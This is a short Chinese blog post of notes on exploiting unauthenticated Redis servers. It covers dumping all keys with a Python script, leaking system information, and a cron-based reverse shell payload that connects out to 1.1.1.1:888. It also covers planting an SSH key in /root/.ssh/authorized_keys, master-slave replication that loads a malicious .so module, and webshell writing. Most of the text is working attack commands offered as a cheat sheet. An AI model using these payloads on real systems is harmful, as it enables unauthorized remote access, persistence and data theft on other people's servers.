好久没写了,水文扔到水博客上还能督促自己划水bushi

获取数据

执行命令KEY *获取所有键

通过遍历所有KEY获得所有值

import redis
​
def export_redis_data():
    # 创建Redis连接
    r = redis.Redis(host='localhost', port=6379, db=0)
    
    # 获取所有key
    keys = r.keys('*')
    
    # 遍历所有key,并输出对应的value
    for key in keys:
        value = r.get(key)
        print(f'{key}: {value}')
        # 如果需要保存到文件中,可以使用下面的代码
        # with open('redis_data.txt', 'a') as f:
        #     f.write(f'{key}: {value}\n')
    
    # 关闭Redis连接
    r.close()
​
if __name__ == "__main__":
    export_redis_data()

或者直接上redis-dump工具导出数据库

系统信息泄露

输入info可以看到redis的版本、系统内核版本、配置文件路径等信息

输入CONFIG GET dir可以查看安装路径

反弹shell-写入定时计划

set x "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

定时任务

* * * * * command 顺序:分 时 日 月 周 执行语句

第一颗星: 表示分钟minute,可以是从0到59之间的任何整数。 第二颗星:表示小时hour,可以是从0到23之间的任何整数。 第三颗星:表示日期day,可以是从1到31之间的任何整数。 第四颗星:表示月份month,可以是从1到12之间的任何整数。 第五颗星:表示星期几week,可以是从0到7之间的任何整数,这里的0或7代表星期日。 command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件

0 * * * *:每小时的第 0 分钟执行,即每小时执行一次。

0 0 * * *:每天的午夜(00:00)执行。

*/5 * * * *:每 5 分钟执行一次。

写入SSH公钥

利用条件:

  • Redis服务使用root账号启动

  • 服务器开放SSH服务,允许使用密钥登录,且存在/root/.ssh目录

密钥登录功能配置在/etc/ssh/sshd_config中

PS:service sshd restart这个命令重启SSH服务不会使SSH断连

config set dir /root/.ssh      //设置存储公钥路径
config set dbfilename authorized_keys  //设置文件名称

上述操作在set dbfilename后已经切换数据库,所以如果对上次存入数据不满意可FLUSHDB清理数据库或者DEL XXXX清理上条内容

主从复制

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

工具GitHub - yuyan-sec/RedisEXP: Redis 漏洞利用工具

注意主从复制会清空数据库,也就是说会影响到生产环境!

写webshell

难点在目标web目录路径

参考:

Redis漏洞利用 | Yang Hao's blog (yanghaoi.github.io)

记一次海康综合安防系统从Redis到内网

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部